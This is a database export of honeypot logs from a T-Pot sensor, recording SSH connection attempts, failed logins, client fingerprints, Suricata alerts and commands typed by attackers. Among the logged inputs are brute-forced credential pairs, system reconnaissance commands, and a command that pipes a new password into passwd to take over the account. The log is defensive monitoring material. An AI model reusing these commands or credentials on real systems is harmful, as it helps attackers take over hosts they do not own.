"2021-09-20T11:54:29.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33184	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:54:29.438068+03	2021-09-20 15:00:04.420722+03	{"_id": "SgYOA3wBvYTbRNuEvU6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "62453c906510", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:54:29.438068Z", "@timestamp": "2021-09-20T11:54:29.438Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33185	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:54:29.492296+03	2021-09-20 15:00:04.421723+03	{"_id": "RgYOA3wBvYTbRNuEvU6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "62453c906510", "@version": "1", "timestamp": "2021-09-20T11:54:29.492296Z", "@timestamp": "2021-09-20T11:54:29.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33186	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:29.68724+03	2021-09-20 15:00:04.422722+03	{"_id": "RwYOA3wBvYTbRNuEvU6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:29.687240Z", "@timestamp": "2021-09-20T11:54:29.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33187	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:54:29.793374+03	2021-09-20 15:00:04.424723+03	{"_id": "SAYOA3wBvYTbRNuEvU6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [admin/blank] failed", "session": "62453c906510", "@version": "1", "password": "blank", "username": "admin", "timestamp": "2021-09-20T11:54:29.793374Z", "@timestamp": "2021-09-20T11:54:29.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33188	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:54:29.660804+03	2021-09-20 15:00:04.425723+03	{"_id": "SwYOA3wBvYTbRNuEvk7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:54:28.902069+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2106247506871221, "payload": "AAADzAYUphAestIp4RwgXOeiraqW0gAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48532, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:54:29.660804Z", "@timestamp": "2021-09-20T11:54:29.660Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........).. \\\\.........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33190	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:54:29.841523+03	2021-09-20 15:00:04.427723+03	{"_id": "UwYOA3wBvYTbRNuEv079", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35822, "timestamp": "2021-09-20T11:54:29.841523", "@timestamp": "2021-09-20T11:54:29.841Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33191	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:29.798551+03	2021-09-20 15:00:04.428722+03	{"_id": "UAYOA3wBvYTbRNuEv079", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35822, "dest_port": 443, "timestamp": "2021-09-20T11:54:29.798551", "@timestamp": "2021-09-20T11:54:29.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33192	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:54:30.534212+03	2021-09-20 15:00:04.430722+03	{"_id": "VAYOA3wBvYTbRNuEwU5-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:57315 (192.168.176.2:22) [session: 1ab1b505d498]", "session": "1ab1b505d498", "@version": "1", "protocol": "ssh", "src_port": 57315, "dest_port": 22, "timestamp": "2021-09-20T11:54:30.534212Z", "@timestamp": "2021-09-20T11:54:30.534Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33193	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:31.259822+03	2021-09-20 15:00:04.431722+03	{"_id": "ZAYOA3wBvYTbRNuExU5o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c3d04de9c460", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:54:31.259822Z", "@timestamp": "2021-09-20T11:54:31.259Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33194	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:31.673946+03	2021-09-20 15:00:04.432723+03	{"_id": "ZwYOA3wBvYTbRNuExU5o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:31.673946Z", "@timestamp": "2021-09-20T11:54:31.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33195	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:54:32.243662+03	2021-09-20 15:00:04.433722+03	{"_id": "cAYOA3wBvYTbRNuEyU5R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/7758521q] failed", "session": "1ab1b505d498", "@version": "1", "password": "7758521q", "username": "root", "timestamp": "2021-09-20T11:54:32.243662Z", "@timestamp": "2021-09-20T11:54:32.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33196	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:32.625019+03	2021-09-20 15:00:04.435722+03	{"_id": "cQYOA3wBvYTbRNuEyU5R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:32.625019Z", "@timestamp": "2021-09-20T11:54:32.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33197	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:20.908036+03	2021-09-20 15:00:04.436725+03	{"_id": "CwYOA3wBvYTbRNuEmk5l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:20.908036Z", "@timestamp": "2021-09-20T11:54:20.908Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33198	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:20.908593+03	2021-09-20 15:00:04.437723+03	{"_id": "DAYOA3wBvYTbRNuEmk5l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"irfan\\\\nm1ZM6PZ3LX03\\\\nm1ZM6PZ3LX03\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: echo \\"irfan\\\\nm1ZM6PZ3LX03\\\\nm1ZM6PZ3LX03\\\\n\\"|passwd", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:20.908593Z", "@timestamp": "2021-09-20T11:54:20.908Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33199	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:21.475474+03	2021-09-20 15:00:04.438753+03	{"_id": "DQYOA3wBvYTbRNuEnk5O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "b26a23c2c39470d509cffb72963ae1bdfe54c8fca50f6081d1a9f75e182a49d1", "src_ip": "1.116.239.130", "ttylog": "log/tty/b26a23c2c39470d509cffb72963ae1bdfe54c8fca50f6081d1a9f75e182a49d1", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/b26a23c2c39470d509cffb72963ae1bdfe54c8fca50f6081d1a9f75e182a49d1 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5675258636474609, "duplicate": false, "timestamp": "2021-09-20T11:54:21.475474Z", "@timestamp": "2021-09-20T11:54:21.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33200	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:21.875391+03	2021-09-20 15:00:04.440722+03	{"_id": "DwYOA3wBvYTbRNuEnk5O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:21.875391Z", "@timestamp": "2021-09-20T11:54:21.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33201	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:22.871033+03	2021-09-20 15:00:04.441722+03	{"_id": "EAYOA3wBvYTbRNuEok43", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:22.871033Z", "@timestamp": "2021-09-20T11:54:22.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33202	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:23.442255+03	2021-09-20 15:00:04.442752+03	{"_id": "FwYOA3wBvYTbRNuEpk4g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "1.116.239.130", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5718429088592529, "duplicate": true, "timestamp": "2021-09-20T11:54:23.442255Z", "@timestamp": "2021-09-20T11:54:23.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
